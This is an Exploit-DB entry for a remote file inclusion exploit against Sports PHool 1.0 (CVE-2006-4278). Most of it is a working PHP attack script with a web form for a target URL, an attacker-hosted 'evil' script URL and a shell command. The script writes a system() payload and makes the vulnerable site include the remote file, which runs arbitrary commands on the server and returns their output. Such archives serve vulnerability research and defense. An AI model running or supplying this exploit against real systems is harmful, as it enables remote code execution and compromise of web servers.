Sports PHool <= 1.0 - Remote File Include Exploit

2011-10-21T00:00:00
ID EDB-ID:18018
Type exploitdb
Reporter cr4wl3r
Modified 2011-10-21T00:00:00

Description

Sports PHool <= 1.0 - Remote File Include Exploit. CVE-2006-4278. Webapps exploit for php platform

                                        
                                            &lt;?php

/*
Sports PHool &lt;= 1.0 Remote File Include Exploit
Found and c0ded by cr4wl3r @hackb0x
d0rk: no d0rk f0r kiddi0ts
Script:  http://sourceforge.net/projects/sportsphool/files/

usage:
target: http://target/sportsphool/includes/layout/plain.footer.php?mainnav=
evil: http://hackb0x/evilscript.txt?

*/

$cmd = $_POST["cmd"];
$target = $_POST["target"];
$evil = $_POST["evil"];

$form= "&lt;form method=\"post\" action=\"".$PHP_SELF."\"&gt;"
    ."target:&lt;br&gt;&lt;input type=\"text\" name=\"target\" size=\"90\" value=\"".$target."\"&gt;&lt;br&gt;"
    ."evil:&lt;br&gt;&lt;input type=\"text\" name=\"evil\" size=\"90\" value=\"".$evil."\"&gt;&lt;br&gt;"
    ."cmd:&lt;br&gt;&lt;input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"&gt;&lt;br&gt;"
    ."&lt;input type=\"submit\" value=\"Submit\" name=\"submit\"&gt;"
    ."&lt;/form&gt;&lt;HR WIDTH=\"650\" ALIGN=\"LEFT\"&gt;";

if (!isset($_POST['submit'])) 
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "&lt;?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); 
system(\"echo ++END++\"); ?&gt;");
fclose($file);

$file = fopen ($target.$evil, "r");
if (!$file) {
    echo "&lt;p&gt;Unable to get output.\n";
    exit;
}

echo $form;

while (!feof ($file)) {
    $line .= fgets ($file, 1024)."&lt;br&gt;";
    }
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?&gt;